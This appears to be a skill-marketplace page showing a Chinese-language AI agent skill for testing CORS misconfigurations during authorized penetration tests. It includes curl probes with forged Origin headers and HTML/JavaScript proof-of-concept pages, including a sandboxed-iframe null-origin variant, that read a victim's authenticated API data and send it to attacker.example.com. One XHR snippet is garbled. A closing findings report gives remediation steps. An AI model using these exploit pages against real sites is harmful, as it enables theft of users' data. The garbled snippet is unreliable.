소스 정보
- 저장소
- killvxk/cybersecurity-skills-zh
- 최근 소스 활동
- 2026년 3월 17일 21:38
- 감지된 SKILL.md 언어
- 중국어
- 스타
- 42
- 포크
- 9
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill testing-cors-misconfiguration명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型,检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于:当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具(iodine、dnscat2、DNSExfiltrator)的威胁情报时使用。
实施 Google 的 BeyondCorp 零信任访问模型,通过 IAP、Access Context Manager 和 Chrome Enterprise Premium,消除网络边界的隐式信任,强制执行基于身份的访问控制,实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
SOC 직업 분류 기준
SKILL.md 표시 중
| name | testing-cors-misconfiguration |
| description | 在安全评估期间,识别和利用跨源资源共享(CORS)错误配置,这些配置允许未经授权的跨域数据访问和凭证窃取。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","cors","web-security","owasp","same-origin-policy","burpsuite"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
检查所有 API 端点的 CORS 响应头部。
# 使用外部 Origin 头部进行测试
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/user/profile"
# 检查响应中的 CORS 头部:
# Access-Control-Allow-Origin: https://evil.example.com(危险:反射任意来源)
# Access-Control-Allow-Origin: *(若与 credentials 同时存在则危险)
# Access-Control-Allow-Credentials: true(允许携带 Cookie)
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Expose-Headers: X-Custom-Header
# 测试多个端点
for endpoint in /api/user/profile /api/user/settings /api/transactions \
/api/admin/users /api/account/balance; do
echo "=== $endpoint ==="
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com$endpoint" | \
grep -i "access-control"
echo
done
确认服务器如何验证 Origin 头部。
# 测试 1:任意来源反射
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 2:null 来源
curl -s -I -H "Origin: null" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 3:子域匹配绕过
curl -s -I -H "Origin: https://evil.target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 4:前缀/后缀匹配绕过
curl -s -I -H "Origin: https://target.example.com.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 5:协议降级
curl -s -I -H "Origin: http://target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 6:来源中的特殊字符
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 7:通配符与 credentials 组合检查
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
# 通配符(*)+ credentials(true)规范上不允许,但部分服务器存在此配置错误
评估服务器如何处理 OPTIONS 预检请求。
# 发送预检请求
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization, Content-Type" \
"https://api.target.example.com/api/user/profile"
# 检查:
# Access-Control-Allow-Methods:应只列出所需方法
# Access-Control-Allow-Headers:应只列出所需头部
# Access-Control-Max-Age:预检缓存时长(过长则有风险)
# 测试是否允许危险方法
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: DELETE" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-methods"
# 测试预检是否缓存时间过长
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: GET" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-max-age"
# max-age > 86400(1 天)在策略变更后仍允许长时间滥用
构建 HTML 页面利用 CORS 错误配置窃取数据。
<!-- cors-exploit.html — 托管在攻击者服务器上 -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS 利用概念验证</h1>
<div id="result"></div>
<script>
// 利用:跨域读取受害者的个人资料数据
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// 数据已成功跨域窃取
document.getElementById('result').innerText = xhr.responseText;
// 将数据外传到攻击者服务器
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(xhr.responseText);
}
};
xhr.open(, , );
xhr. = ;
xhr.();
<!-- 使用 fetch API 进行利用 -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// 窃取敏感数据
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
console.log('已窃取数据:', data);
});
</script>
若 Origin: null 被允许,则通过沙箱 iframe 进行利用。
<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS 利用</h1>
<!--
沙箱化 iframe 发送 Origin: null 的请求
若服务器以 Access-Control-Allow-Origin: null 加 credentials 响应,
则数据可被外传
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// 将窃取的数据发送到父页面或攻击者服务器
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>
</body>
</html>
<!-- 替代方案:使用 data: URI 构造 null 来源 -->
<!-- 在浏览器中打开:data:text/html,<script>...</script> -->
检查 CORS 是否允许来自内网来源的访问(可通过 XSS 利用)。
# 测试内网/开发环境来源
INTERNAL_ORIGINS=(
"http://localhost"
"http://localhost:3000"
"http://localhost:8080"
"http://127.0.0.1"
"http://192.168.1.1"
"http://10.0.0.1"
"https://staging.target.example.com"
"https://dev.target.example.com"
"https://test.target.example.com"
)
for origin in "${INTERNAL_ORIGINS[@]}"; do
echo -n "$origin: "
curl -s -I -H "Origin: $origin" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-origin" | tr -d '\r'
echo
done
# 若允许内网来源且存在 XSS:
# 1. 在 http://subdomain.target.example.com 找到 XSS 漏洞
# 2. 利用 XSS 向 api.target.example.com 发起 CORS 请求
# 3. 通过 XSS + CORS 链路外传数据
| 概念 | 定义 |
|---|---|
| 同源策略(Same-Origin Policy) | 浏览器安全模型,防止一个源的脚本访问另一个源的数据 |
| CORS | 允许服务器指定哪些来源可以访问其资源的机制 |
| 来源反射(Origin Reflection) | 服务器将请求 Origin 头部镜像到 ACAO 响应头部(危险) |
| null 来源(Null Origin) | 来自沙箱 iframe、data URI 和重定向的特殊来源值 |
| 预检请求(Preflight Request) | 某些跨源请求前发送的 OPTIONS 请求,用于检查权限 |
| 带凭证请求(Credentialed Requests) | 包含 Cookie 的跨源请求,需要明确的 ACAO + ACAC 头部 |
| 通配符 CORS(Wildcard CORS) | Access-Control-Allow-Origin: * 允许任意来源但禁止带凭证 |
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 拦截请求并修改 Origin 头部 |
| CORScanner | 自动化 CORS 错误配置扫描器(pip install corscanner) |
| cors-scanner | 基于 Node.js 的 CORS 测试工具 |
| 浏览器 DevTools | 在真实浏览器上下文中监控 CORS 错误和网络请求 |
| Python http.server | 本地托管 CORS 利用 PoC 页面 |
| OWASP ZAP | 自动检测 CORS 错误配置 |
API 在 Access-Control-Allow-Origin 中反射任意 Origin 头部,并设置 Access-Control-Allow-Credentials: true。任何网站都可以读取已认证的 API 响应,从而窃取用户数据。
服务器允许带凭证的 Origin: null。攻击者通过沙箱化 iframe 发送携带凭证的 API 请求并读取响应数据。
CORS 策略允许 *.target.example.com。攻击者在 forum.target.example.com 上找到 XSS 漏洞,并利用它向 api.target.example.com 发起跨源请求,通过受信任子域窃取用户数据。
服务器使用正则 target\.example\.com 验证来源,但未锚定正则表达式。attackertarget.example.com 匹配成功并被允许访问。
## CORS 错误配置发现
**漏洞**:CORS 来源反射与 Credentials
**严重性**:High(CVSS 8.1)
**位置**:api.target.example.com 上的所有 /api/* 端点
**OWASP 类别**:A01:2021 - 访问控制缺陷
### 观察到的 CORS 配置
| 头部 | 值 |
|--------|-------|
| Access-Control-Allow-Origin | [反射请求 Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
### 来源验证结果
| 测试来源 | 是否反射 | 是否带凭证 |
|---------------|-----------|-------------|
| https://evil.com | 是 | 是 |
| null | 是 | 是 |
| http://localhost | 是 | 是 |
| https://evil.target.example.com | 是 | 是 |
### 影响
- 任何网站均可读取受害者浏览器中已认证的 API 响应
- 用户个人资料数据(邮箱、电话、地址)可被外传
- Session token 通过 X-Auth-Token 头部暴露
- CSRF 防护被绕过(攻击者可读取并提交 CSRF token)
### 建议
1. 实施严格的受信任来源白名单
2. 切勿在 Access-Control-Allow-Origin 中反射任意 Origin 值
3. 不允许 Origin: null 与 credentials 同时使用
4. 使用精确字符串匹配而非正则子字符串匹配来验证来源
5. 将 Access-Control-Max-Age 设置为合理值(600 秒)